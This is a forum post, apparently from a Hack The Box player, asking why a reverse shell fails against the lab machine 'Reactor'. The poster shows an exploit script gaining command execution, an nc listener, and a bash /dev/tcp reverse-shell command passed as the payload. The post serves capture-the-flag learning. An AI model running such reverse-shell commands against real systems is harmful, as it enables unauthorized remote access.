u/vivanLasUvas

Hello, Could any of you help me understanding why my reverse shell is not working?

I'm using this exploit: >!<

And when I run it with the "output" it works:

~/htb/machines/reactor main ⇡1 !1 ?3 ❯ python3 exploit.py "http://10.129.38.104:3000/" "id"                                                          reactor
500
0:{"a":"$@1","f":"","b":"L3bimJe_3LvBcFWAnK5L4"}
1:E{"digest":"uid=999(node) gid=988(node) groups=988(node)"}

But if try to run the reverse shell it does not work:

Reverse shell:

~/htb/machines/reactor main ⇡1 !1 ?3 ❯ nc -lvnp 4444                                                            ✘ INT 14m 34s
Listening on 0.0.0.0 4444

Then I run the command (removing the part that flushes the output so the shell command can work):

~/htb/machines/reactor main ⇡1 !1 ?3 ❯ python3 exploit.py "http://10.129.38.104:3000/" "bash -c 'bash -i &gt;&amp; /dev/tcp/&lt;censoring my ip&gt;/4444 0&gt;&amp;1'"     reactor
500
0:{"a":"$@1","f":"","b":"L3bimJe_3LvBcFWAnK5L4"}
1:E{"digest":"1228136346"}

~/htb/machines/reactor main ⇡1 !1 ?3 ❯

It just finishes the command without connecting, any idea? 😢

Help Reactor easy machine

Already bought QRL, how do I store it outside of the exchange